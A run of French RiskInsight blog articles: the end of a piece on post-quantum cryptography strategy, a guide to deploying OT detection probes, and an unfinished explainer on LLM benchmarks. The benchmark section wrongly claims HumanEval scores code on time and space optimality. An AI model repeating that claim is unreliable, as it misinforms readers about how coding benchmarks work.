   • Migration et veille : Déploiement progressif des algorithmes post-quantiques sur les systèmes critiques, tout en maintenant la continuité de service. Cette phase s’accompagne de contrôles, de tests de performance et de vérifications de sécurité. À terme, l’ensemble du SI est couvert, garantissant la pérennité et la conformité réglementaire.

Cette feuille de route, à la fois pragmatique et en phase avec les préconisations des organismes compétents, garantit une transition maîtrisée vers la cryptographie post-quantique. 

L’hybridation évoquée en Europe comme une étape importante dans la transition

L’ANSSI dans une publication commune avec plusieurs de ses homologues européens BSI, NLNCSA, SNCSA, et SFA, recommandent également une préparation à cette transition devant débuter le tôt possible. Bien que les nouveaux standards de PQC incluant les algorithmes, les instructions d’implémentation, et leur utilisation, ont été publiés par le NIST en août 2024, ces organismes n’encouragent pas l’intégration immédiate de ces algorithmes dans les systèmes cryptographiques des entreprises. L’ANSSI annonce même « n’approuver aucun remplacement direct à court ou moyen terme ». En cause, « un manque de recul cryptanalytique sur plusieurs aspects de sécurité » ; malgré son processus de standardisation terminé, la PQC n’est pas encore considérée suffisamment mature pour garantir la sécurité à elle seule :

• Plusieurs algorithmes finalistes (et donc jugés comme prometteurs) du processus de standardisation du NIST ont été l’objet d’attaques classiques ayant abouties. L’algorithme SIKE dont on est venu à bout en 10min, et Rainbow en un week-end.
• Le dimensionnement, l’intégration des algorithmes dans des protocoles de communication, et la conception d’implémentations sécurisées sont d’autres aspects sur lesquels il faut progresser selon l’ANSSI.

Par conséquent, au contraire du NIST, l’ANSSI mais également la BSI entre autres, recommande l’adoption de systèmes hybrides par les organisations. C’est un concept qui consiste à « combiner des algorithmes asymétriques post-quantiques avec une cryptographie asymétrique pré-quantique bien connue et bien étudiée » ANSSI. Ainsi, l’on peut bénéficier de l’efficacité des standards actuels sur les attaques classiques, et de la résistance conjecturée de la PQC sur les attaques quantiques.

L’hybridation est possible pour les mécanismes d’encapsulation de clés et pour les signatures numériques. Chaque opération classique est remplacée soit par :

• l’exécution successive,
• l’exécution en parallèle des 2 algorithmes, pré-quantique et quantique.

La deuxième option peut être implémentée dans le but de réduire la perte de performance du système. Ces schémas hybrides nécessitent par ailleurs que les acteurs impliqués supportent les deux types d’algorithmes.

C’est un schéma dont « le surcoût de performance d’un schéma hybride reste faible par rapport au coût du schéma post-quantique ». L’ANSSI estime « qu’il s’agit d’un prix raisonnable à payer pour garantir une sécurité pré-quantique au moins équivalente à celle apportée par les algorithmes normalisés pré-quantiques actuels ».

Outre-manche et Atlantique, on est beaucoup plus nuancé que les homologues européens sur la question. Bien que l’intérêt de l’hybridation soit reconnu par les autorités de cybersécurité anglaise et étatsunienne, le NCSC et le NIST insiste sur le caractère temporaire de cette solution et n’imposent pas l’hybridation comme étape obligatoire avant de migrer totalement vers la PQC. La NSA dit explicitement avoir confiance dans les standards de PQC et ne requiert pas l’utilisation de modèles d’hybridation dans les systèmes de sécurité nationaux. En résumé, la décision d’utiliser ces modèles doit être prise en tenant compte :

• des contraintes techniques d’implémentation,
• de la complexité accrue (deux algorithmes au lieu d’un),
• du coût additionnel,
• de la nécessité de transitionner une seconde fois à l’avenir vers un système de PQC total, , ce qui peut constituer un exercice complexe de crypto-agilité – c’est-à-dire la capacité de modifier rapidement et sans bouleversements majeurs son infrastructure cryptographique en réponse à l’évolution des menaces – pour certaines entreprises.

Aspect règlementaire

Il n’y a actuellement pas de règlementation européenne qui formule d’exigences explicites au sujet de la cryptographie post-quantique. Néanmoins, parmi les différents textes évoquant le chiffrement de données (NIS2, DORA, HDS…), certains exigent explicitement de l’appliquer à l’état de l’art.  DORA impose notamment la mise à jour constante des moyens cryptographiques utilisés par rapport à l’évolution des techniques de cryptanalyse. Il est donc possible de considérer cela comme un premier pas pour guider les organisations vers le concept de crypto-agilité.

Malgré cette absence d’exigences actuellement, l’ANSSI prévoit un plan de transition post-quantique en 3 phases :

1. Phase 1 (en cours)

La sécurité post-quantique effective à travers l’hybridation reste facultative et est considérée par l’agence comme une défense en profondeur. Les visas de sécurité délivrés par l’ANSSI restent inchangés et garantissent uniquement la sécurité pré-quantique.

2. Phase 2 (après 2025)

La résistance quantique devient une propriété de sécurité. Des critères de sécurité post-quantique pour les algorithmes de PQC auront été définis par l’ANSSI, et seront pris en compte dans la délivrance de visas de sécurité.

3. Phase 3 (après 2030)

On estime que le niveau d’assurance de sécurité post-quantique sera équivalent au niveau pré-quantique actuel. L’hybridation deviendra donc optionnelle ; des visas de sécurité pourront être délivrés pour des entreprises utilisant des schémas post-quantiques sans hybridation.

En outre, suivant le contexte, l’ANSSI pourra décider de n’octroyer ses visas de sécurité que pour la sécurité à long terme post-quantique.

Aux Etats-Unis, le plan de transition post-quantique du NIST n’est pas définitif, mais l’obsolescence de RSA et ECC est d’ores et déjà projeté pour 2030, suivi d’une interdiction d’implémentation totale en 2035 ; d’où l’objectif annoncé – aligné avec la NSA – pour l’achèvement de la migration vers la PQC dans l’ensemble des systèmes fédéraux la même année. Selon les exigences des différents secteurs, il sera peut-être nécessaire de transitionner plus rapidement selon les niveaux de risque associés. 

Même si 2035 semble être un horizon lointain, la migration complète vers la cryptographie post-quantique est un long processus, et les phases initiales d’inventaire cryptographique, classification de données et d’analyse de risques notamment, requièrent un temps considérable. Par conséquent, il est essentiel de démarrer dès aujourd’hui afin de planifier une transition réussie.

L’avènement des ordinateurs quantiques n’est donc plus une hypothèse lointaine, mais une certitude qui redéfinira les fondations de la cybersécurité. Si le timing précis (2033-2037) reste incertain , la pression règlementaire impulsée par les institutions de cybersécurité se précise, et les impacts sur la confidentialité et l’intégrité des données sont, eux, inéluctables. Chaque jour qui passe sans adaptation renforce la vulnérabilité des entreprises face aux attaques futures.

Pourtant, des solutions existent déjà : la cryptographie post-quantique, bien que peu mature à date – surtout dans ses implémentations – offre une réponse prometteuse à cette menace. Standardisée et soutenue par les plus grandes instances internationales, elle incarne la première étape vers une sécurité pérenne à l’ère quantique.

Cependant, adopter cette technologie ne se limite pas à un simple déploiement technique. C’est une transition stratégique, un exercice de crypto-agilité , et une opportunité pour les entreprises d’affirmer leur résilience face aux bouleversements technologiques.

La question n’est plus de savoir si votre organisation sera prête lorsque le premier ordinateur quantique capable de briser RSA-2048 verra le jour. Il s’agit de savoir si elle aura su anticiper ce futur, en s’armant dès maintenant des outils et des plans nécessaires pour transformer cette contrainte en un avantage compétitif. Le futur de la sécurité commence aujourd’hui. 

Contactez-nous

Cet article Ordinateur quantique et cryptographie post-quantique : quelle stratégie les entreprises doivent-elles adopter sur ces éléments ? est apparu en premier sur RiskInsight.

Ainsi, devriez-vous vous lancer dans l’aventure des sondes OT ? Et si oui, comment réussir le déploiement d’un service de sondes ?  

Sondes OT : Un outil pour surveiller les réseaux industriels 

Image 1 : Écouter le réseau pour l’inventorier et détecter 

Une sonde de détection est un équipement, virtuel ou physique, connecté au système d’information (SI) afin de le cartographier et de le surveiller. Elle se compose de capteurs répartis dans le réseau pour collecter des données et d’un équipement central pour corréler ces données. Les sondes pour environnements industriels – que nous appellerons ici sondes OT – se caractérisent par leur écoute passive et non invasive du réseau, et leur compréhension des protocoles et comportements industriels. De nombreux acteurs sont présents, vous pouvez retrouver notre vision du marché ici : https://www.riskinsight-wavestone.com/2021/03/les-sondes-de-detection-en-milieu-industriel-notre-vision-du-marche/  

Toutes leurs sondes fonctionnent sur le même principe : le trafic réseau est collecté en utilisant de la duplication de flux (SPAN, ERSPAN …) ou des duplicateurs physiques comme les taps. Les paquets sont inspectés en temps réel pour fournir plusieurs types de données : inventaire et cartographie des flux, gestion des vulnérabilités, et enfin détection des anomalies et des incidents. 

La grande diversité des cas d’utilisation possibles de ces données et la variété de ses utilisateurs (équipe opérationnelle et commerciale, équipe de cybersécurité, etc.) font la popularité de ces sondes OT.  

Cependant, ces solutions, tout comme leur déploiement et exploitation, sont coûteuses et nécessitent une bonne compréhension des besoins, des utilisateurs potentiels et de la valeur ajoutée avant de se lancer. 

Prenons deux exemples … 

Imaginons deux entreprises envisageant de déployer des sondes OT sur leurs sites industriels.

1ère entreprise : WavePetro 

WavePetro possède un large site sensible, avec une bonne maturité cyber et une architecture très segmentée. L’entreprise souhaite déployer des sondes OT pour se conformer à la réglementation et améliorer ses capacités de détection. 

Compte tenu de son architecture et de ses besoins de détection, de nombreux points d’écoute seront nécessaires. WavePetro peut compter sur ses équipes locales et leur expertise et connaissance du site pour réaliser le déploiement. 

2nd entreprise : RenewStone 

RenewStone est une entreprise possédant de nombreux petits sites géographiquement dispersés et sans équipe locale, avec une maturité cyber hétérogène. Ses sites sont interconnectés avec l’infrastructure du groupe. 

L’entreprise souhaite déployer des sondes OT pour gagner en visibilité sur ses sites en utilisant les fonctions d’inventaire et de cartographie.  

Ainsi, RenewStone a besoin de standardiser un service de sondes OT pour ses sites et de pouvoir proposer des déploiements avec le moins de complexité locale possible.  

Image 2 : 2 entreprises, 2 besoins, 2 implémentations 

… et leurs déploiements vers un service de sondes fonctionnel 

Bien que ces deux entreprises aient des besoins et maturités cyber différentes, les 5 étapes clés de déploiement restent les mêmes, bien qu’avec des approches différentes.   

1.Preuve de concept 

La première étape est la preuve de concept (PoC : Proof of Concept).  
L’objectif pour les deux entreprises est de tester la faisabilité et la valeur ajoutée des sondes OT sur leurs périmètres. 

Alors que WavePetro doit valider la faisabilité sur un périmètre réduit dans son usine, RenewStone doit se concentrer sur la validation de la valeur du service de sonde OT sur quelques-uns de ses sites. 

Pour tirer le maximum du PoC, il est important de : 

• Adapter la sélection des fournisseurs à vos besoins : Le marché est très diversifié entre les pure-players, ceux spécialisé au secteur industriel ou qui étendent leurs solutions IT à l’OT …  
  Les questions à se poser : Est-ce que je veux de fortes capacités de détection ? Est-ce que je veux un service managé ? Est-ce que je veux une solution unifiée pour l’IT et l’OT ?  
• Sélectionner le champ d’application du PoC : Identifier un périmètre représentatif avec des ressources à tester afin que les résultats puissent être reproduits à l’échelle.  
• Rédiger une architecture cible avant le PoC : tester une architecture représentative de ce qui serait déployé à l’échelle, afin de valider les tests effectués. 

Le PoC est essentiel pour s’assurer que les sonde OT apporte de la valeur, mais également pour pouvoir convaincre de les déployer, en particulier lorsqu’elles ne sont pas contraintes par des réglementation. 

2.Construction d’un modèle opérationnel 

Dès le début du projet, il est important de se rappeler que l’objectif final du déploiement des sondes OT : Collecter des informations utilisables et valorisables. Pour ce faire, il est important de : 

• Définir un modèle opérationnel pour le traitement des alertes, de l’inventaire et la gestion des sondes. Alors que WavePetro peut avoir un modèle d’exploitation reposant sur les connaissances et l’expertise locales, RenewStone doit construire un modèle d’exploitation central avec les équipes du groupe telles que le SOC, la sécurité OT, le réseau, l’infrastructure, etc. 
• Décider de faire appel à un tiers ou de gérer vos sondes en interne : Peu de fournisseurs proposent des services de gestion, vous devrez donc créer votre propre modèle, qui pourrait également s’appuyer – en totalité ou partiellement – sur de l’externalisation. 
• Créer un RACI : Compte tenu des différents cas d’usage et du nombre d’acteurs impliqués dans l’utilisation ou la maintenance des sondes, un RACI est essentiel pour s’assurer que toutes les parties prenantes nécessaires seront impliquées et mobilisées. 

Cette étape doit être traitée en amont pour faciliter les étapes suivantes du déploiement. 

3.Préparation au déploiement 

Une fois que la première étape a démontré la valeur ajoutée d’une sonde et que son modèle de fonctionnement a été défini, préparons le déploiement ! Vous devez définir la cible finale : 

• Où déployer la sonde : En particulier si vous avez de nombreux sites différents, comme RenewStone, vous devez prioriser : quels sont vos sites sur lesquels déployer ? Vous pouvez vouloir déployer sur les sites les plus critiques seulement et rendre le service disponible pour d’autres à la demande. Les sites sélectionnés doivent également permettre un déploiement. Quels sont les prérequis au déploiement ? Ils peuvent par exemple être définis selon les équipements réseaux disponibles. 
• Quand déployer : Travaillez sur dès que possible sur des estimations budgétaires afin que les sites soient en mesure de prévoir un déploiement. Les sondes sont une solution coûteuse, non seulement en termes de matériel et de licences, mais également en ressources, pour les déployer et les exploiter. 
• Comment déployer : Dans tous les cas, vous devez construire une architecture pour le déploiement des sondes OT. En particulier, si vous avez de nombreux sites à déployer ou des ressources locales très limitées, vous devez travailler à l’élaboration d’une offre de service packagée à déployer.  

Cette préparation est un passage obligé pour éviter de perdre du temps lors des déploiements et garantir leur succès. 

4.Déploiement 

Il est temps de s’attaquer au déploiement ! Le mot d’ordre est la même pour les deux entreprises : Avancer pas à pas. La différence réside dans l’échelle : 

• Un déploiement progressif sur le site de WavePetro : Il faudra du temps pour pouvoir « écouter » efficacement partout. Concentrez-vous sur les données attendues pour prioriser l’emplacement initial de la sonde et ses points d’écoute. 
• Apprendre et s’améliorer d’un déploiement à l’autre pour RenewStone : Les déploiements sont centralisés et plus standardisés, donc les équipes apprendront et s’amélioreront d’un déploiement à l’autre. Inclure un panel de sites représentatifs dans la première vague permet de tester et améliorer le modèle de déploiement. 
• Ne pas négliger la conduite du changement : dans les deux cas, le déploiement d’une nouvelle solution doit absolument inclure de la sensibilisation et de la formation afin que les sondes OT trouvent leurs utilisateurs. 

Le déploiement de sondes OT peut être un processus long et fastidieux, mais ne vous découragez pas en chemin, car il reste encore une dernière étape à franchir !

5.Fine-tuning 

Une sonde OT est un outil d’amélioration continue, la détection doit gagner en valeur avec le temps. Vous devez donc consacrer du temps à : 

• Configurer le tableau de bord de la console : Prendre le temps d’améliorer le modèle de détection (liste blanche de certains comportements, priorisation des actifs sensibles…), l’inventaire automatique des actifs et la cartographie (enrichir l’inventaire, importer des données, taguer les VLAN…), et ainsi de suite. Ce fine-tuning doit être effectué par une personne familière avec les sites industriels.  
• Intégrer d’autres technologies : Vous pouvez lier les consoles à d’autres outils de votre entreprise, tels que le SIEM, les pares-feux ou la CMDB, afin d’exploiter au maximum les données collectées par les sondes. 
• Testez d’ajouter des fonctionnalités : une fois que vous avez acquis une certaine maturité avec la solution, vous pouvez aller encore plus loin avec les fonctionnalités disponibles, comme l’exécution de requêtes actives pour enrichir l’inventaire. 

Le fine-tuning permet de limiter le nombre de faux-positifs, afin de se concentrer sur les données qui apporteront de la valeur à votre entreprise et à sa sécurité. 

Image 3 : Les 5 étapes clés d’un déploiement de service de sondes OT 

Conclusion 

Ces deux exemples nous ont beaucoup appris sur les sondes de détection industrielle et sur les nombreux défis liés à leur déploiement et utilisation.  

Si demain, je fais face à un client industriel qui se demande que faire de ce projet sonde sur sa feuille de route, je lui partagerai ces 3 conseils :  

Image 4 : Les 3 clés d’un déploiement réussi 

Questionner la valeur ajoutée de ses sondes 

En l’absence de cas d’utilisation clairement identifiés et d’objectifs déterminés, vous pouvez vous retrouver avec des sondes fournissant des informations inutilisées ou sans réelle valeur ajoutée. Les sondes OT sont coûteuses, à la fois financièrement et en termes de temps. Vous devez être sûr qu’elles en valent la peine, et vous donnez les moyens de les exploiter pleinement. 

Pour ce faire, prenez le temps d’évaluer la qualité et la valeur des informations remontées par les sondes OT avec vos différentes équipes (cybersécurité, exploitation, business …). 

Avancer pas à pas 

Ne craignez pas de commencer petit et de croître progressivement, qu’il s’agisse du nombre de sites déployés, du nombre de points d’écoute ou de cas d’utilisation des sondes OT. 

L’exploitation à long terme des sondes OT est complexe et se construit au fil des déploiements. Prenez le temps de soigner l’adoption de la solution : si vous voulez que les équipes utilisent la solution, formez les et montrez en leur la valeur !  

Compter sur l’amélioration continue 

Les sondes OT peuvent fournir nombre de fonctionnalités allant de la détection d’incidents à la cartographie, en passant par la gestion des vulnérabilités et bien d’autres encore qui doivent être publiées par les éditeurs. 

Concentrez-vous d’abord sur les fonctionnalités qui réduisent vos risques OT, en améliorant progressivement les services au fur et à mesure qu’ils gagnent en maturité ! 

Cet article Sondes de détection pour l’OT : Les clés pour réussir son déploiement  est apparu en premier sur RiskInsight.

Pour répondre à cette question, des chercheurs et des ingénieurs du monde entier ont mis au point un système standardisé pour tester les LLM dans divers contextes, domaines de connaissance, et les quantifier de manière objective. Ces tests sont communément appelés des « Benchmarks », et différents benchmarks reflètent des cas d’utilisation très variés.

Cependant, pour l’utilisateur moyen, ces benchmarks seuls ne signifient pas grand-chose. Il existe un manque évident de sensibilisation pour l’utilisateur final : un résultat de 97,3 % dans le benchmark « MMLU » est difficile à comprendre et à transposer dans leurs tâches quotidiennes.

Pour éviter de telles confusions, l’article présente des facteurs qui limitent les choix d’un utilisateur en matière de LLM, les benchmarks de LLM les plus populaires et largement utilisés, leurs cas d’utilisation, et comment ils peuvent aider les utilisateurs à choisir le LLM le plus optimal pour eux.

Facteurs qui impactent le choix des LLM

Différents facteurs impactent la qualité du modèle : la date limite de connaissance, l’accès à Internet, la multimodalité, la confidentialité des données, la fenêtre contextuelle ainsi que la vitesse et la taille des paramètres. Ces facteurs doivent être bien établis avant de passer aux évaluations des benchmarks et aux comparaisons de modèles, car ils limitent les modèles que vous pouvez utiliser en premier lieu.

Date limite de connaissances et accès à Internet

Presque tous les modèles sur le marché ont une date limite de connaissance. Il s’agit de la date à laquelle la collecte de données pour la formation du modèle prend fin. Par exemple, si la date limite est septembre 2021, le modèle n’a aucun moyen de connaître les informations après cette date. Les dates limites sont généralement fixées un à deux ans avant la publication du modèle.

Cependant, pour surmonter ce problème, certains modèles tels que Copilot (GPT-4) et Gemini ont été dotés d’un accès à Internet, leur permettant de naviguer sur le web. Cela a permis à des modèles ayant une date limite de connaissances de continuer à accéder aux nouvelles et aux articles les plus récents. Cet accès permet également aux LLM de fournir des références aux utilisateurs, ce qui réduit le risque d’hallucinations et rend les réponses plus fiables.

Enfin, l’accès à Internet est une fonctionnalité ajoutée au modèle plutôt qu’une caractéristique intrinsèque du modèle lui-même. Il est donc limité aux modèles disponibles sur Internet, principalement ceux en source fermée et hébergés dans le cloud. Pour cette raison, il est important de déterminer vos besoins et de vérifier si disposer d’informations à jour est réellement essentiel pour atteindre vos objectifs.

Multimodalité

Différentes applications nécessitent des usages variés des LLM. Alors que la plupart d’entre nous les utilisent principalement pour leurs capacités de génération de texte, de nombreux LLM sont en réalité capables d’analyser des images, des voix, et de répondre avec des images également.

Cependant, tous les LLM n’ont pas cette capacité. La capacité d’analyser différentes formes d’entrée (texte, image, voix) est ce que l’on appelle la « multimodalité ». C’est un facteur important à prendre en compte, car si votre tâche nécessite l’analyse de messages vocaux ou de diagrammes d’entreprise, il est essentiel de rechercher des modèles qui sont multimodaux, tels que Claude 3 et ChatGPT.

Protection des données

L’un des risques liés à l’utilisation de la plupart des modèles actuellement disponibles sur le marché est la confidentialité et la fuite des données. Plus précisément, la confidentialité et la sécurité des données dans les LLM peuvent être divisées en deux parties :

1. Confidentialité des données lors de l’entraînement et de l’ajustement : il s’agit de savoir si le modèle a été formé sur des données contenant des informations personnelles identifiables (PII) et s’il pourrait divulguer ces informations personnelles lors des échanges avec les utilisateurs. Cela dépend de l’ensemble de données utilisé pour l’entraînement du modèle et du processus d’ajustement.
2. Confidentialité des données lors du réentraînement et de la mémorisation : il s’agit de savoir si le modèle utilise les conversations avec les utilisateurs pour se réentraîner, ce qui pourrait potentiellement entraîner la divulgation d’informations d’une conversation à une autre. Cependant, ce risque est limité à certains modèles en ligne. Cela dépend de la manière dont le modèle est configuré et des couches logicielles entre le modèle et l’utilisateur.

Fenêtre contextuelle

La fenêtre contextuelle fait référence au nombre de jetons d’entrée qu’un modèle peut accepter. Ainsi, une fenêtre contextuelle plus grande signifie que le modèle peut accepter un texte d’entrée plus important. Par exemple, le dernier modèle de Google, le Gemini 1.5 pro, dispose d’une fenêtre contextuelle d’un million de jetons, ce qui lui permet de lire des manuels entiers et de vous répondre sur la base des informations qu’ils contiennent.

Pour donner un contexte, une fenêtre de 1 million de jetons permet au modèle d’analyser environ 60 livres entiers simplement à partir des entrées de l’utilisateur avant de répondre à la demande de l’utilisateur.

Ainsi, il est donc évident que les modèles avec des fenêtres contextuelles plus grandes peuvent souvent être personnalisés pour répondre à des questions basées sur des documents d’entreprise spécifiques sans avoir recours à la génération augmentée par récupération (RAG), qui est la solution la plus courante pour ce problème sur le marché.

Cependant, les LLM facturent souvent les utilisateurs en fonction du nombre de jetons d’entrée utilisés et il est donc à prévoir que les frais soient plus élevés lorsqu’on utilise une fenêtre contextuelle plus grande. De plus, il n’est pas courant que les modèles prennent plus de 10 minutes avant de répondre lorsqu’ils utilisent une fenêtre contextuelle plus grande.

Vitesse et taille des paramètres

Les LLM présentent des variations techniques qui peuvent influencer la rapidité de traitement de la demande de l’utilisateur et la vitesse de génération de la réponse. La variation technique la plus importante qui affecte la vitesse des LLM est la taille des paramètres, qui fait référence au nombre de variables internes que le modèle possède. Ce nombre, généralement en milliards, reflète la sophistication du modèle, mais indique également que le modèle pourrait nécessiter plus de temps pour générer une réponse.

Toutefois, l’architecture interne du modèle a également son importance. Par exemple, certains des derniers modèles à plus de 70 milliards de paramètres sur le marché peuvent répondre en temps réel, tandis que certains modèles à 8 milliards de paramètres ont besoin de quelques minutes pour générer une réponse.

Globalement, il est important de prendre en compte le compromis entre la vitesse d’une part et la taille des paramètres (sophistication et complexité) d’autre part, bien que cela dépende aussi fortement de l’architecture interne du modèle et de l’environnement dans lequel il est utilisé (API, service cloud, ou auto-déploiement, etc.).

Néanmoins, la vitesse est un élément clé qui se situe à la frontière entre le facteur et le critère de référence puisqu’elle est mesurée et utilisée pour comparer les différents modèles STOA. Cependant, la vitesse n’est pas une forme d’évaluation pragmatique standardisée et, pour cette raison, elle n’est pas considérée comme un critère de référence.

Prochaines étapes

Après avoir examiné les facteurs, les utilisateurs peuvent maintenant limiter leur choix de LLM et utiliser les critères d’évaluation présentés dans la section suivante pour les aider à choisir le modèle le plus optimal. Cela permet à l’utilisateur de maximiser son efficacité et de ne comparer que les modèles qui sont pertinents pour lui (en termes de date limite de connaissances, de vitesse, de confidentialité des données, etc.)

Comment les benchmarks sont-ils menés ?

Les benchmarks sont des outils utilisés pour évaluer la performance des LLM dans un domaine spécifique. Ils peuvent être réalisés de différentes manières, le facteur clé étant le nombre de paires question-réponse d’exemples fournies au LLM avant qu’il ne soit invité à résoudre une question réelle.

Les benchmarks évaluent la capacité du LLM à accomplir une tâche spécifique. La plupart des benchmarks posent une question au LLM et comparent sa réponse avec une réponse correcte de référence. Si la réponse correspond, le score du LLM augmente. À la fin, les benchmarks fournissent un score de précision (Acc/Accuracy), qui est un pourcentage du nombre de questions auxquelles le LLM a répondu correctement.

Cependant, en fonction de la méthode d’évaluation, le LLM peut obtenir un certain contexte sur le benchmark, le type de questions ou d’autres éléments. Cela se fait par le biais de tests à répétition ou d’exemples multiples.

Tests à répétition

Les benchmarks sont réalisés de trois manières distinctes.

1. Zéro répétition
2. Une répétition
3. Multi-répétition (souvent des multiples de 2 ou de 5)

Le terme « répétition » se réfère au nombre de fois qu’une question exemple est donnée au LLM avant son évaluation.

La raison pour laquelle nous avons différents types de tests (zéro répétition, une répétition, multi-répétitions) est que certains LLM surpassent d’autres en termes de mémoire à court terme et d’utilisation du contexte. Par exemple, le LLM1 pourrait avoir été formé avec plus de données et donc surpasser le LLM2 dans les tests zéro répétition. Cependant, la technologie sous-jacente du LLM2 lui permet de bénéficier d’une capacité de raisonnement et de contextualisation supérieure, qui ne serait mesurée que par des évaluations d’une répétition ou de plusieurs répétitions.

Figure 1 : illustration de 3-shots vs 0-shot prompting

Pour cette raison, chaque fois qu’un LLM est évalué, des réglages à plusieurs répétitions sont utilisés pour garantir une compréhension complète du modèle et de ses capacités. Par exemple, si vous êtes intéressé par la recherche d’un modèle qui contextualise bien et est capable de raisonner logiquement à travers de nouveaux et divers problèmes, envisagez d’examiner comment la performance du modèle s’améliore à mesure que le nombre de répétitions augmente. Si un modèle montre une amélioration significative, cela signifie qu’il possède une forte capacité à raisonner et à apprendre des exemples précédents.

Principaux benchmarks et facteurs de différenciation

De nombreux benchmarks évaluent souvent les mêmes aspects. Il est donc important, lors de l’examen des benchmarks, de comprendre ce qu’ils évaluent, comment ils le font et quelles sont les implications de ces évaluations.

Compréhension du Langage Multitâche Massif (MMLU)

Figure 2 : exemple d’un questionnaire à choix multiple

Le MMLU est l’un des benchmarks les plus largement utilisés. Il s’agit d’un ensemble de données au format de questions à choix multiple couvrant 57 sujets uniques à un niveau de licence. Ces sujets incluent les humanités, les sciences sociales, les STIM (Sciences, Technologie, Ingénierie et Mathématique) et plus encore. Pour cette raison, le MMLU est considéré comme le benchmark le plus complet pour tester les connaissances générales d’un LLM dans tous les domaines. De plus, il est également utilisé pour identifier les lacunes dans les données d’entraînement du LLM, car il n’est pas rare qu’un LLM soit exceptionnellement bon dans un sujet et moins performant dans un autre.

Cependant, le MMLU ne contient que des questions en anglais. Ainsi, un excellent résultat au MMLU ne se traduit pas nécessairement par de bonnes performances lorsqu’il s’agit de répondre à des questions de culture générale en français ou en espagnol. De plus, le MMLU est exclusivement basé sur des questions à choix multiple, ce qui signifie que le LLM est testé uniquement sur sa capacité à choisir la bonne réponse. Cela ne signifie pas nécessairement que le LLM est compétent pour générer des réponses cohérentes, bien structurées et sans hallucinations lorsqu’il est confronté à des questions ouvertes.

En règle générale, un score MMLU moyen élevé pour l’ensemble des 57 champs indique que le modèle a été entraîné sur une grande quantité de données contenant des informations sur de nombreux sujets différents. Ainsi, un modèle qui obtient de bons résultats en MMLU est un modèle qui peut être utilisé efficacement (éventuellement avec un peu d’ingénierie) pour répondre aux FAQ, aux questions d’examen et à d’autres questions courantes de la vie quotidienne.

HellaSwag (HS)

Figure 3 : exemple d’une question HellaSwag

HellaSwag est un acronyme pour « Harder Endings, Longer contexts, and Low-shot Activities for Situations with Adversarial Generations ». Il s’agit d’un autre benchmark massif (plus de 10 000 questions) axé sur l’anglais et basé sur des questions à choix multiple. Cependant, contrairement au MMLU, le HS n’évalue pas les connaissances factuelles ou spécifiques à un domaine. Au lieu de cela, le HS se concentre sur la cohérence et le raisonnement des LLM.

Les questions comme celle ci-dessus mettent le LLM au défi en lui demandant de choisir la suite de la phrase qui a le plus de sens humain. Grammaticalement, ces phrases sont toutes valables, mais seule l’une d’entre elles respecte le bon sens.

La raison pour laquelle ce critère a été choisi est qu’il fonctionne en tandem avec le MMLU. Alors que le MMLU évalue les connaissances factuelles, le HS évalue si le LLM serait capable d’utiliser ces connaissances factuelles pour vous fournir des réponses cohérentes et sensées.

Une bonne façon de visualiser l’utilisation de MMLU et HS est d’imaginer le monde dans lequel nous vivons aujourd’hui. Nous avons des ingénieurs et des développeurs qui possèdent une grande compréhension et des connaissances techniques, mais qui n’ont aucun moyen de les communiquer correctement en raison des barrières linguistiques et sociales. Pour cette raison, nous avons des consultants et des gestionnaires qui ne possèdent peut-être pas des connaissances aussi approfondies, mais qui ont la capacité d’organiser et de communiquer les connaissances des ingénieurs de manière cohérente et concise.

Dans ce cas, le MMLU représente l’ingénieur, tandis que le HS joue le rôle du consultant. L’un évalue les connaissances, tandis que l’autre évalue la communication.

HumanEval (HE)

Alors que le MMLU et le HS évaluent la capacité du LLM à raisonner et à répondre avec précision, HumanEval est le benchmark le plus populaire pour évaluer uniquement la capacité du LLM à générer du code utilisable pour 164 scénarios différents. Contrairement aux deux précédents, HumanEval n’est pas basé sur des questions à choix multiple et permet au LLM de générer sa propre réponse. Cependant, toutes les réponses ne sont pas acceptées par le benchmark. Chaque fois qu’un LLM est invité à coder une solution pour un scénario, HumanEval teste le code du LLM avec une variété de tests et de cas limites. Si l’un de ces tests échoue, le LLM échoue également.

De plus, HumanEval exige que le code généré par le LLM soit optimisé en termes de temps et d’espace. Ainsi, si un LLM propose un certain algorithme alors qu’un algorithme plus optimal est disponible, il perd des points. Pour cette raison, HumanEval teste également la capacité du LLM à comprendre précisément la question et à y répondre de manière exacte.

HumanEval est un benchmark important, même pour les cas d’utilisation non techniques, car il reflète de manière indirecte la sophistication et la qualité générales d’un LLM. Pour la plupart des modèles, le public cible est composé de développeurs et des passionnés de technologie. Pour cette raison, il existe une forte corrélation positive entre des scores élevés à HumanEval et des scores élevés dans de nombreux autres benchmarks, ce qui indique que le modèle est de haute qualité. Cependant, il est important de garder à l’esprit qu’il s’agit simplement d’une corrélation, et non d’une causalité, ce qui signifie que les choses pourraient évoluer à mesure que les modèles commencent à cibler de nouveaux utilisateurs.

Chatbot Arena

Figure 4 : exemple de l’interface Chatbot Arena

Figure 5 : classement Chatbot Arena, juillet 2024

Contrairement aux trois benchmarks précédents, Chatbot Arena n’est pas un benchmark objectif, mais un classement subjectif de tous les LLM disponibles sur le marché. Chatbot Arena recueille les votes des utilisateurs et détermine quel LLM offre la meilleure expérience utilisateur globale, y compris la capacité à maintenir des dialogues complexes, comprendre les demandes des utilisateurs et d’autres facteurs de satisfaction client. La nature subjective de Chatbot Arena en fait le meilleur benchmark pour évaluer l’expérience utilisateur finale. Cependant, cette subjectivité le rend également non reproductible et difficile à quantifier réellement.

Les classements actuels placent GPT-4o d’OpenAI en tête de liste avec une marge importante par rapport à la deuxième place. Ce classement est très pertinent puisqu’il est basé sur l’opinion de 1,3 million de votes d’utilisateurs.Cependant, ces votants proviennent principalement d’un milieu technologique, et le classement pourrait donc être biaisé en faveur des modèles ayant de meilleures compétences en codage.

Les classements sont établis sur la base du système ELO, un système à somme nulle où les modèles gagnent des points ELO en produisant des réponses meilleures que celles de leur modèle concurrent, tandis que ce dernier perd des points ELO.

Évaluation globale des benchmarks

Les benchmarks peuvent présenter des biais et des limites internes. Ils peuvent être utilisés conjointement pour mieux représenter les capacités du modèle. Les modèles plus récents bénéficient d’avantages en raison de leur architecture, de la taille de leurs données d’entraînement et de la divulgation des questions de benchmark.

